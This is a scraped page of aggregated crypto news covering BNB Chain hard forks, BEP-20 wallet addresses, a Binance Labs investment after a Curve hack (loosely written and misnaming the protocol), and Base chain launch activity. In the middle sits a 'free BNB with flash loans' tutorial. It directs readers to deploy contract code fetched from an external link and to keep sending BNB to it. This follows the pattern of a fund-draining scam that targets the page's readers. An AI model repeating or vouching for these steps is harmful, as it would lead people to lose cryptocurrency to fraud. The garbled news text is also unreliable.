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BinancesBNB Chainis set to undergo two hard forks in August 2023 to reduce the possibility of a malicious blockchain reorganization and increase compatibility with other Ethereum Virtual Machine (EVM) blockchain networks.

The Plato and Hertz upgrades are scheduled for Aug. 10 and Aug. 30, respectively, following extensive testing. The Plato upgrade, which has already taken place, introduces BEP-126. The latest evolution proposal implements a fast finality mechanism that is expected to rule out the ability for blocks to be reverted.

Arno Bauer, senior solution architect at BNB Chain, unpacked the specifics of the network upgrades in an interview with Cointelegraph. The fast finality mechanism is expected to reduce the chance of chain reorganization and stabilize block production while allowing users to access accurate information from the latest finalized block instantly. Bauer said:

Bauer added that finality is a core concept of blockchain technology, referring to the point at which a transaction or block of transactions can no longer be altered or reversed. Finality remains crucial in maintaining trust and preventing double-spending in blockchain systems.

BEP-126 introduces fast finality through a series of steps. Validators begin by proposing a block to the network, which is propagated to other validators. Validators then sign for the block using their private key, creating a vote message. Voting aggregation then occurs, with validator votes gathered into a pool and aggregated if the direct parent block has enough votes.

Related:Binance Smart Chain and Binance Chain become BNB Chain

Validators must follow specific rules when voting for blocks, such as not publishing two distinct votes for the same height. The finality rules also determine that a block is justified if theres an attestation in the child blocks header, and it is finalized if both the block and its direct child are justified.

The fork, including the highest justified block, is considered the longest chain, even if other chain forks have a higher difficulty sum. Producing blocks and finalizing blocks also have different requirements in terms of the number of validators needed.

Lastly, BNB Chain validators are rewarded for voting, with those who violate the vote rules being slashed, similar to Ethereums proof-of-stake protocol.

The Hertz hard fork is earmarked for Aug. 30 and is aimed at keeping the BNB Chain up to date with the latest development of EVM blockchains. As Bauer explains, the BNB Chain needs to keep its block and transaction structures, as well as its base EVM, updated to match Ethereums recently implemented Berlin and London forks.

Bauer said that the fast finality mechanism should provide a more secure environment for decentralized applications (DApps), while speedier transaction finality should improve the responsiveness and efficiency of DApps running on the BNB Chain.

Magazine:Deposit risk: What do crypto exchanges really do with your money?

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BNB Chain hard fork to improve security and compatibility with EVM ... - Cointelegraph

Free Binance Smart Chain Token (BNB)? Yes, who wouldnt want some free cash?

It is possible using a special method called FLASH LOANS

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While theyve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

So, whats the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

Step By Step Tutorial for Flash Loan:

- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click Create New File .

- Name the file flashloans.sol and paste the contract code link below. https://raw.githubusercontent.com/CryptoBarbie101/FlashLoansBNB/main/BNB

- Click on Deploy & Run transactions and set ENVIRONMENT to Injected Web3.

- Connect your MetaMask wallet.

- Click on the Solidity Compiler and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button Compile flashloans.sol

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the Deploy button

On _TOKENNAME Tester

On _TOKENSYMBOL TOKX

On _LOANAMOUNT 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.

Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click action (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesnt work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.

Dont panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when youre done.

Read more:

How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023 - Medium

Description

Similar to Ethereums ERC-20, all smart contract blockchains have a stipulated token standard that informs the creation, issuance, and deployment of native tokens. BEP-20 is the token standard used on BNB Chain (previously known as Binance Smart Chain). Whether you intend to receive, trade, or store any token on the BNB Chain, you will need Read more

Similar to Ethereums ERC-20, all smart contract blockchains have a stipulated token standard that informs the creation, issuance, and deployment of native tokens. BEP-20 is the token standard used on BNB Chain (previously known as Binance Smart Chain).

Whether you intend to receive, trade, or store any token on the BNB Chain, you will need a BEP-20 wallet address which can be obtained from wallets or platforms compatible with BNB Chain. This is where Metamask and Trust Wallet come in handy.

Metamask and Trust Wallet are multi-chain self-custody cryptocurrency wallets, meaning they support several blockchains and their respective token standards, including ERC-20 and BEP-20 addresses. In this article, well explore how you can find BEP-20 wallet addresses on both Metamask and Trust Wallet.

If you dont have a Metamask wallet already, then you will need to download it to create an account. Metamask is available on mobile and desktop (as a browser extension). For the purpose of this article, well be using the Chrome extension to guide you. However, the steps to creating and finding BEP-20 on Metamask are the same, regardless of the version used.

Open your Metamask wallet. Afterward, sign into the account you created by entering the password.

Click on the drop-down by the top left corner to switch between different blockchain networks. Select the BNB Chain if the option is available. But if the option is not available, you will need to add the BNB Chain manually.

Click the Add Network and enter the following details to the relevant fields to add the BNB Chain to your Metamask wallet.

Cross-check the details you entered and click on the Save button.

After adding the BNB Chain configuration details, go back to the Metamask home screen and click on the Network Switcher tab discussed in Step 2. Then, select BNB Chain (i.e., Binance Smart Chain).

Next, click on the three-dot icon by the top right corner, then select Account details.

You should see your BEP-20 address and a QR code, with which you can send only BEP-20 standard tokens to your wallets.

Some token balances may not be displayed, except if you import them. This article delves further into how to import tokens on Metamask.

Similar to Metamask, Trust Wallet is also available on mobile (Android and iOS devices) and browsers as extensions. For those new to Trust Wallet, you will need to create an account and set up other necessary details, such as a password and seed phrase backup.

The user interface on Trust Wallets extension is quite different from that of the mobile app. So, well show you how to create, add BNB Chain, and find the BEP-20 address on Trust Wallet mobile and browser extension.

After creating a new account, the very next step is switching to the BNB Chain.

Click on the top left icon that shows Ethereum to switch between different networks. By default, you should see the option to select BNB Chain (Binance Smart Chain).

However, if the option is not provided, then you can continue with the next step to manually add BNB Chain.

Next, click on manage networks and add custom tokens.

Next, enter the following details in the relevant fields to add the BNB Chain to your Trust Wallet.

Network Name Binance Smart Chain

New RPC URL https://bsc-dataseed.binance.org/

Chain ID 56

Symbol BNB

Block Explorer URL https://bscscan.com

Next, select BNB Chain (i.e., Binance Smart Chain) you just added from the Networks tab.

After adding the BNB Chain network, the next step to finding your BEP-20 address is by searching for the BNB coin. To do this, click on the receive button.

Next, scroll down to find the BNB coin.

You should see your BEP-20 wallet address after you click on the token.

Assuming you have created an account already, launch the Trust Wallet mobile app and click on Add Tokens.

Next, select BNB Smart Chain to add the coin to your wallet.

Go back to the home screen and click on the BNB coin you just add.

Next, click on receive, and you should see your BEP-20 wallet address on Trust Wallet. You can then copy and fund your BEP-20 wallet using the address.

See the article here:

How to find BEP-20 wallet address on Trust Wallet & Metamask ... - Cryptopolitan

Curved Finance is a growing DeFi protocol that looks like it has a lot of potential. It does have a lot of potential as many crypto enthusiasts use them to conduct a wide range of services. However, they suffered a hack which set them back on many things. The amount of money they lost in the hack reached a whopping $70 million. Binance Labs, the crypto exchanges venture capitalist and incubator arm, plans to invest $5 million in CRV, Curve DAOs token. Apparently, this investment will be part of the Curved Finance revival.

Binance Labs, the crypto exchanges venture capitalist and incubator arm, wants to spend a whopping $5 million into the native token of Curved Finance. Apparently, this deal will open a lot of opportunities for the project. In fact, many of the supporters of the DeFi protocol are happy with the news.

The new deal with Binance is not only for the native token but the DeFi protocol will have more options to explore. Furthermore, Binance wants to deploy the CRV token on the Binance Smart Chain (BNB Chain). Apparently, this is quite huge for CRV, as it means more traders will have access to it.

It looks like Binance wants to act as the big brother of crypto companies. Moreover, the fact remains that Curved Finance is the second largest DeFi exchange in the world, with $2.4 billion in total value locked (TVL) per DeFiLlama. Even more, this DeFi exchange is the largest exchange for stablecoin swapping. So the hack in their protocol affected them to the core.

According to the Co-Founder of Binance and Head of Binance Labs Yi He, the new development from Binance is an act of support. Binance Labs acknowledged Curved Finances condition as delicate. Hence, they want to help them stand up on their feet. Moreover, a massive brand like Binance coming to your rescue is an incredible record.

The hack on Curved Finance was something that many crypto enthusiasts didnt expect. Nevertheless, it did happen, affecting the crypto protocol. Apparently, the hacker accessed some critical resources and permissions and used them against the CRV ecosystem. More than 70 million dollars went down the drain.

However, the protocol told the hacker to return about 90% of the stolen funds and keep 10%. Fortunately for Curved Finance, the hacker did return some of the money. Although it is not yet complete, the hunt is still on for the hacker.

Wrapping up, Binance didnt send a sign of support to Curved Finance using words. The worlds biggest exchange spent a total of $5 million as a sign of support for the DeFi protocol. With the new investments, the DeFi protocol might recover.

Read the original here:

Curved Finance Receives $5 Million FromBinance - cryptonewsbytes.com

The launch of Base, Coinbases layer-2 network, has been unusually successful, attracting significant volume in terms of both DeFi activity and cross-chain bridge transactions.

But the burst of activity begs the question: How much of the strong start is attributable to Sybil attackers and airdrop farmers?

Base launched yesterday. However, due to traders discovering what was at the time a one-way bridge, the network managed to attract significant volume prior to the official ribbon-cutting.

In an interview with Blockworks, Nansen analyst Sandra Leow compared the launch favorably to Mantle and Linea, two other layer-2s that went live in the past month.

Per a Dune Analytics dashboard, the total value bridged to Base exceeded $150 million on the day of the official launch, and sits at $162 million as of today exceeding Mantles $67 million and Lineas $47 million.

It seems like the Base ecosystem is far ahead compared to the other new [layer-2s], Leow concluded.

Part of Bases early dominance can be attributed to the raucous soft launch. Over the course of a busy July 29 weekend for altcoin traders, new DEXes on the chain ran up $200 million in volume on a 24-hour basis and a memecoin inspired by Coinbase founder Brian Armstrong BALD ran up a $100 million market capitalization before the token creator pulled liquidity.

In a written interview with Blockworks, a Coinbase spokesperson repeatedly emphasized the networks open and permissionless system and noted that the chain launched with over 100 protocol partners. Per DefiLlama, over 20 protocols have $100,000 or more in total value locked (TVL).

Nansens Leow says the variety has offered traders alternatives following the collapse of BALD.

So far, it does seem like this playbook is working, as even post-BALD rug and you would expect users to have lost confidence in the Base chain, it seems like the chain has gone past the Bald frenzy and [traders] are actually using other apps on the chain, Leow said.

Yesterday, the Ethereum base chain had just under 430,000 active addresses. By comparison, Base had 100,000 active addresses.

On its face, its unlikely that Base has already managed to capture a quarter of the active addresses on Ethereum. Whats more, the number of active addresses isnt the same as the number of active users. This raises the possibility that a portion of those addresses are managed by Sybil users.

Sybil attackers and/or airdrop farmers are users who deploy multiple blockchain addresses and perform actions on a chain that has yet to release governance tokens. Often new chains will use tokens to reward early addresses that complete certain actions, such as bridging a certain amount or using a DeFi protocol. By utilizing multiple addresses, a single user can trick a platform into giving them additional tokens by appearing to be multiple independent users.

According to pseudonymous airdrop farmer CC2 Ventures, large-scale operations can involve dozens of investors pooling hundreds of thousands of dollars to pay for gas fees, labor and software to deploy thousands of addresses in an effort to reap airdrop rewards.

Notably, Coinbase has publicly denied plans for an airdrop, and the chain uses ether (ETH) as the gas fee token. However, CC2 implied this might not stop many Sybil attackers.

Coinbase denying an airdrop will dissuade some farmers, but most simply wont care. In fact, it might even have a reverse effect as projects like Arbitrum, Paraswap and even Sui to an extent constantly denied all airdrop rumors, yet still followed through with it, they wrote.

These operations often use sophisticated methods to obfuscate the fact that multiple addresses are controlled by the same party. Because of that, its nearly impossible to calculate exactly how much Base activity is attributable to farmers.

However, both CC2 and Leow told Blockworks that a significant portion of the traffic and TVL is organic. CC2 added that the chains early reputation for memecoin mania could lead to it becoming a hub of activity for casual traders.

I can see it becoming a retail favorite due to having similar dynamics as Binance Smart Chain (reputable, normie friendly company) with even lower fees, they wrote.

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See original here:

Early activity on Coinbase's Base chain shows promising signs - Blockworks